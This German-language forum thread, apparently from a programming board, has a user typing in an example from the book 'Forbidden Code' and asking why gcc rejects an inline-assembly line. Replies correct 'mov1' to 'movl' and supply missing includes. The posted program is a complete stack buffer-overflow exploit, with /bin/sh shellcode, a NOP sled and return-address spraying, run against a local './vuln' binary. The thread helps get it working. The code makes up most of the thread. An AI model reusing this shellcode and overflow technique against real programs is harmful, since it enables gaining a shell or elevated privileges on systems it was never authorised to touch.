gcc akzepiert ASM-befehl nicht



  • HI,
    ich les gerade das buch 'Forbidden Code' und hab das folgende Beispiel ausprobiert,
    aber i-wie klappt dass nicht mit dem ASM-befehl mit gcc .

    #include <stdlib.h>
    
    char shellcode[] = 
    "\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0"
    "\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d"
    "\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73"
    "\x68";
    
    unsigned long sp(void)   
    { __asm__("mov1 %esp, %eax");}      // <--- FEHLER 
    
    int main(int argc, char *argv[])
    {
      int i, offset;
      long esp, ret, *addr_ptr;
      char *buffer, *ptr;
    
      offset = 0;
      esp = sp();          //Aktuellen Stack-Pointer in esp schreiben
      ret = esp - offset;  //ret-Adresse überschreiben
    
      printf("Stack pointer (ESP): 0x%x\n", esp);
      printf(" Offset from ESP : 0x%x\n", offset);
      printf("Desired Return Addr : 0x%x\n", ret);
    
    // Allocate 600 bytes for buffer (on the heap)
    buffer = malloc(600);
    
    //Gesamten Puffer mit der gewünschten ret-Adresse füllen
      ptr = buffer;
      addr_ptr = (long *) ptr;
      for(i=0; i < 600; i+=4)
      { *(addr_ptr++) = ret; }
    
    //Die ersten 200 Bytes des Puffers mit NOP-Anweisungen füllen
      for(i=0; i < 200; i++)
      { buffer[i] = '\x90'; }
    
    //Den Shellcode nach dem NOP-Sled schreiben
      ptr = buffer + 200;
      for(i=0; i < strlen(shellcode); i++)
      { *(ptr++) = shellcode[i]; }
    
    //Den String beenden
    buffer[600-1] = 0;
    
    //Jetzt das Programm ./vuln mit dem manipulierten Buffer als Argument aufrufen
    execl("./vuln", "vuln", buffer, 0);
    
    //Speicherpuffer freigeben
    free(buffer);
    
    return 0;
    }
    

    Ergebniss is gcc

    ERROR: no such instruction: mov1 %esp, %eax'
    

    Danke schon im Vorraus auf alle Antworten !



  • ich würd sagen, das heißt nur mov.



  • wenn ich nur 'mov' schreib kommt keine Fehlermeldung mehr über den ASMbefehl....
    aber es scheint als würde gcc keine funktionen mehr akzepieren ...

    Warnung: Unverträgliche impliziete Deklaration der eingebauten Funktion >>printf<<
    Warnung: Unverträgliche impliziete Deklaration der eingebauten Funktion >>strlen<<
    Warnung: Unverträgliche impliziete Deklaration der eingebauten Funktion >>execl<<
    


  • ioBen schrieb:

    aber es scheint als würde gcc keine funktionen mehr akzepieren ...

    Wie kommst Du darauf? Warnungen schaden dem Compiliervorgang i.A. nicht.

    Warnung: Unverträgliche impliziete Deklaration der eingebauten Funktion >>printf<<
    Warnung: Unverträgliche impliziete Deklaration der eingebauten Funktion >>strlen<<
    Warnung: Unverträgliche impliziete Deklaration der eingebauten Funktion >>execl<<
    

    Das sieht so aus als ob Du einfach nur die passenden Includes (printf stdio.h, strlen string.h usw.) vergessen hättest. Darüberhinaus verwendest Du offenbar einen ANSI-C Compiler, dann wäre diese Frage im falschen Subforum gestellt 😉



  • gcc -> movl (MOVL)



  • movl danke, das funktioniert.
    Jetzt hab ich aber dass problem dass gcc die error-messages (s.oben) ausgibt.
    Weiß aber nicht was ich an den Funktionen ändern soll.



  • ah hab n beitrag übersehn ... mein letzen beitrag einfach vergessen



  • Programm funktioniert jetzt mit den
    #include <stdlib.h>
    #include <stdio.h>
    #include <string.h>
    #include <unistd.h> datein.

    Danke


Anmelden zum Antworten